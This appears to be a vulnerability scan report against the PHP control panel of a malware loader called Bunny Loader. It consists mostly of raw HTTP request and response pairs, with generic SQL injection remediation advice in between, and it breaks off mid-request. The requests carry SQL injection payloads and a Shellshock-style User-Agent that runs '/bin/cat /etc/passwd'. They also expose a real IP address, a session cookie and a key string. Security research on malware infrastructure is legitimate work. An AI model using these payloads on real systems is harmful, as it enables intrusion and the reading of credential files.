Bunny Loader 3.1v 3/10/24 Vulnerability Scan RawPHP_DG

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54%27%29%29+AND+7912%3D1403+AND+%28%28%27vmhR%27+LIKE+%27vmhR HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:09:14 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV%29+AND+1534%3D9087+AND+%284583%3D4583&id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:40:16 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27&id=54%25%22+AND+9750%3D1167+AND+%22%25%22%3D%22 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 02:04:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54%22+AND+4111%3D4019+AND+%22Uzoz%22%3D%22Uzoz HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:30:18 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?query=query%27+AND+8878%3D3300 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:02:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
content-length: 180
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1%25%27+AND+5604%3D4368+AND+%27%25%27%3D%27&params=%27+UNION+SELECT+%40%40version+--+-&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:19:40 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects/error.wav?query=query+AND+7293%3D4638--+- HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:56:45 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 154
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_destroy(): Session object destruction failed in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects?query=query%22%29+AND+3961%3D3329--+- HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Connection: Close

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:15:28 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php?query=query+AND+3439%3D5093--+- HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:13:49 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV+AND+9029%3D6759--+-&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:42:19 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?command=%271%27%3D1%27%27%29%29+AND+6761%3D4003--+-&bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:39:48 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
content-length: 158
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1&params=%27+UNION+SELECT+%40%40version+--+-&unit_EXEC=18.9+AND+1665%3D6233--+-&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 02:12:05 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54%27%29%29%29+AND+1524%3D6642%2516 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:49:32 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&value=%271%27%3D1%27%29+AND+6750%3D6907%2516&id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:49:32 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54%25%27%29%29+AND+3912%3D6599%2516 HTTP/1.1
host: 142.202.242.172
Connection: Close
Content-Length: 138
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1&params=%27+UNION+SELECT+%40%40version+--+-&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:13:49 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%25'%20%20--%20/Sound%20Effects?query=query%27+AND+9600%3D8462%23 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Connection: Close

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:14:12 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%25'%20%20--?query=query%25%27+AND+8574%3D4031%23 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
